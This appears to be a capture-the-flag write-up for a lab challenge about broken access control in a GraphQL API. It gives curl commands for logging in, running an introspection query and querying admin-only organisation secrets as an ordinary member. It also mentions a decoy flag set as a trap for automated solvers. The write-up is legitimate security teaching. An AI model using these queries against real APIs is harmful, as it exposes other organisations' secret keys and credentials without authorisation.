Lab 121 — OrgPilot — GraphQL Broken Access Control
Lab 121 — OrgPilot — GraphQL Broken Access Control
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: authorization_bypass, graphql_introspection, schema_enumeration, sensitive_field_extraction
Summary
Task: Organization management platform with GraphQL API; member credentials provided, admin secrets should be restricted. Solution: Introspection reveals orgSecrets query; resolver lacks role-based authorization, allowing any authenticated user to read admin API secrets including the flag.
Lab 121 — OrgPilot — GraphQL Broken Access Control — HackAdvisor
Description
OrgPilot is a team and organization management platform built by Nimbus Software. It lets companies manage their teams, roles, billing, and organization settings from a single dashboard. The platform uses a modern GraphQL API to power its frontend.
You have been given credentials for a regular member account. As a member, you can view the team list and your own profile, but administrative features like billing, settings, and API secrets should be restricted.
Your goal is to find and capture the flag hidden somewhere in the platform's data that only administrators should be able to access.
Credentials: alex.chen@nimbuscorp.io / password123
English summary: An Express.js organization management platform with a GraphQL API. Given member-level credentials, the goal is to access admin-restricted data (API secrets) by exploiting broken access control in GraphQL resolvers.
Analysis
Reconnaissance
- Stack: Express.js backend (X-Powered-By: Express) behind nginx/1.25.5
- Authentication: Form-based POST to
/loginwith email/password, returns JWT in a cookie - JWT payload:
{"id":4,"email":"alex.chen@nimbuscorp.io","orgId":1,"role":"member"} - Decoy trap:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments on every page — a honeypot designed to trick automated solvers and prompt injection bots
GraphQL Schema Discovery
Full introspection is enabled at /graphql — a critical misconfiguration for production. The introspection query revealed the complete API surface:
Queries:
| Query | Return Type | Access |
|---|---|---|
me | User | Any authenticated |
organization(id: ID!) | Organization | Any authenticated |
teamMembers(orgId: ID!) | [User] | Any authenticated |
activityLog(orgId: ID!, limit: Int) | [ActivityEntry] | Any authenticated |
billingRecords(orgId: ID!) | [BillingRecord] | Any authenticated |
invitations(orgId: ID!) | [Invitation] | Any authenticated |
orgSecrets(orgId: ID!) | [OrgSecret] | Should be admin-only |
| |
Mutations:
login,updateProfile,removeUserFromOrg,updateOrgSettings,createInvitation
Key type — OrgSecret:
- Fields:
id,orgId,keyName,keyValue,environment,createdBy,createdAt,updatedAt
Vulnerability
The orgSecrets query is intended for admin-only access (API secrets, keys), but the GraphQL resolver does not enforce role-based authorization. Any authenticated user — including one with role: "member" — can query it and read all organization secrets.
This is OWASP A01:2021 — Broken Access Control at the GraphQL resolver level.
Solution
Step 1: Authenticate and obtain JWT
bash read-only • copy allowedBASE="https://cf9561d6-9849-48c0-b929-c916413df509.labs.hackadvisor.io" # Login and capture the JWT cookie curl -s -X POST "$BASE/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=alex.chen@nimbuscorp.io&password=password123" \ -c cookies.txt -D - # Extract token from cookies TOKEN=$(grep token cookies.txt | awk '{print $NF}')
Step 2: Confirm GraphQL endpoint and run introspection
bash read-only • copy allowed# Confirm endpoint curl -s -X POST "$BASE/graphql" \ -H "Content-Type: application/json" \ -H "Cookie: token=$TOKEN" \ -d '{"query":"{ __typename }"}' # Returns: {"data":{"__typename":"Query"}} # Full introspection query curl -s -X POST "$BASE/graphql" \ -H "Content-Type: application/json" \ -H "Cookie: token=$TOKEN" \ -d '{"query":"{ __schema { queryType { fields { name args { name type { name kind ofType { name } } } type { name kind ofType { name kind ofType { name } } } } } mutationType { fields { name args { name type { name kind ofType { name } } } } } types { name fields { name type { name kind ofType { name kind ofType { name } } } } } } }"}' | python3 -m json.tool
Step 3: Exploit broken access control on orgSecrets
bash read-only • copy allowed# Query admin-only secrets as a regular member — no authorization check! curl -s -X POST "$BASE/graphql" \ -H "Content-Type: application/json" \ -H "Cookie: token=$TOKEN" \ -d '{"query":"{ orgSecrets(orgId: \"1\") { id keyName keyValue environment } }"}' \ | python3 -m json.tool
Response (5 secrets returned):
json read-only • copy allowed{ "data": { "orgSecrets": [ {"id": "1", "keyName": "WEBHOOK_SIGNING_KEY", "keyValue": "whsec_...", "environment": "production"}, {"id": "2", "keyName": "INTERNAL_API_TOKEN", "keyValue": "iat_...", "environment": "production"}, {"id": "3", "keyName": "MASTER_API_KEY", "keyValue": "FLAG{REDACTED}", "environment": "production"}, {"id": "4", "keyName": "STRIPE_SECRET_KEY", "keyValue": "sk_live_...", "environment": "production"}, {"id": "5", "keyName": "SLACK_BOT_TOKEN", "keyValue": "xoxb-...", "environment": "production"} ] } }
The flag is stored as the value of the MASTER_API_KEY secret.